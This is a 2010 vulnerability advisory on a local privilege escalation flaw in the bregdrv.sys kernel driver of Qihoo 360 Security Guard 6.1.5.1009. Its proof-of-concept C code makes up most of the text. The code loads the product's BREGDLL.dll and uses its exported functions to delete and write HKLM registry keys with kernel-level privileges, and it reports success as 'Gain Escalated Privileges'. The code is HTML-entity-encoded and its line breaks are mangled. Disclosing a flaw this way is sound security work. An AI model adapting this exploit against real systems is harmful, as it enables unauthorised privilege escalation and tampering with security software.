360 Security Guard breg device drivers Privilege Escalation Vulnerabilitie

2010-02-02T00:00:00
ID SECURITYVULNS:DOC:23145
Type securityvulns
Reporter Securityvulns
Modified 2010-02-02T00:00:00

Description

Vendor : Qihoo 360 Affected Software : 360 Security Guard 6.1.5.1009

Description:

Qihoo 360 Security Guard is very famous in China.

Some vulnerabilities have been reported in Qihoo 360 Security Guard, which can be exploited by malicious, local users to gain escalated privileges.

An error in the kernel-mode driver (bregdrv.sys) when handling input passed through the user-mode dynamic link library (bregdll.dll) can be exploited to

read/write/modification registry in kernel mode.

An attacker can exploit this issue to read/write/modification registry with kernel-level privileges. Successful exploits will result in the complete

compromise of affected computers.

Details:

The kernel-mode driver (bregdrv.sys) use CmXxx series functions to read/write/modification registry with kernel-level privileges, bregdll.dll wrappers

implementation, the bregdll.dll improperly validating input passed from user mode to the kernel. All users can obtain handle of unprotected device

bregdrv.sys to read/write/modification registry with kernel-level privileges.

POC:

include <windows.h>

typedef BOOL (WINAPI INIT_REG_ENGINE)(); typedef LONG (WINAPI BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey); typedef LONG (WINAPI BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult); typedef LONG (WINAPI BREG_CLOSE_KEY)(HKEY hKey); typedef LONG (WINAPI REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL; BREG_OPEN_KEY BRegOpenKey = NULL; BREG_CLOSE_KEY BRegCloseKey = NULL; REG_SET_VALUE_EX BRegSetValueEx = NULL;

define AppPath

"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

define TestDeleteKey HKEY_LOCAL_MACHINE

define TestDeleteRegPath "Software\\360Safe\\Update"

define TestSetKey HKEY_LOCAL_MACHINE

define TestSetPath "Software\\360Safe"

BOOL InitBRegDll() { LONG lResult; HKEY hKey;

    CHAR cPath[MAX_PATH + 32] = { 0 };
    DWORD dwPathLen = MAX_PATH;

    lResult = RegOpenKeyA&#40;HKEY_LOCAL_MACHINE, AppPath, &amp;hKey&#41;;
    if &#40;FAILED&#40;lResult&#41;&#41;
            return FALSE;

    DWORD dwType = REG_SZ;
    lResult = RegQueryValueExA&#40;hKey, &quot;Path&quot;, NULL, &amp;dwType, &#40;LPBYTE&#41;cPath,

&dwPathLen); RegCloseKey(hKey); if (FAILED(lResult)) return FALSE;

    strcat&#40;cPath, &quot;&#92;&#92;deepscan&#92;&#92;BREGDLL.dll&quot;&#41;;

    HMODULE modBReg = LoadLibraryA&#40;cPath&#41;;
    if &#40;!modBReg&#41;
            return FALSE;

    INIT_REG_ENGINE InitRegEngine = &#40;INIT_REG_ENGINE&#41;GetProcAddress&#40;modBReg,

"InitRegEngine"); BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey"); BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey"); BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey"); BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

    if &#40;!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey ||

!BRegSetValueEx) { FreeLibrary(modBReg); return FALSE; }

    if &#40;!InitRegEngine&#40;&#41;&#41; {
            FreeLibrary&#40;modBReg&#41;;
            return FALSE;
    }

    return TRUE;

}

LONG TestSetRegKey() { HKEY hKey; LONG lResult;

    lResult = BRegOpenKey&#40;TestSetKey, TestSetPath, &amp;hKey&#41;;
    if &#40;FAILED&#40;lResult&#41;&#41;
            return lResult;

    DWORD dwType = REG_SZ;
    static char szData[] = &quot;TEST VALUE&quot;;
    lResult = BRegSetValueEx&#40;hKey, TestSetPath, NULL, dwType, &#40;const BYTE

*)&szData, (DWORD)sizeof(szData)); BRegCloseKey(hKey);

    return lResult;

}

int main(int argc, char *argv[]) { if (!InitBRegDll()) { MessageBoxA(NULL, "Initialization BReg error!", "error", MB_ICONSTOP); return 1; }

    if &#40;FAILED&#40;BRegDeleteKey&#40;TestDeleteKey, TestDeleteRegPath&#41;&#41;&#41; {
            MessageBoxA&#40;NULL, &quot;DeleteKey error&#65281;&quot;, &quot;error&quot;,

MB_ICONSTOP); return 2; }

    if &#40;FAILED&#40;TestSetRegKey&#40;&#41;&#41;&#41; {
            MessageBoxA&#40;NULL, &quot;SetRegKey error&#65281;&quot;, &quot;error&quot;,

MB_ICONSTOP); return 3; }

    MessageBoxA&#40;NULL, &quot;Broke System Security Check&#65292;Gain Escalated

Privileges,Successful exploit!", "Successful", MB_OK); return 0; }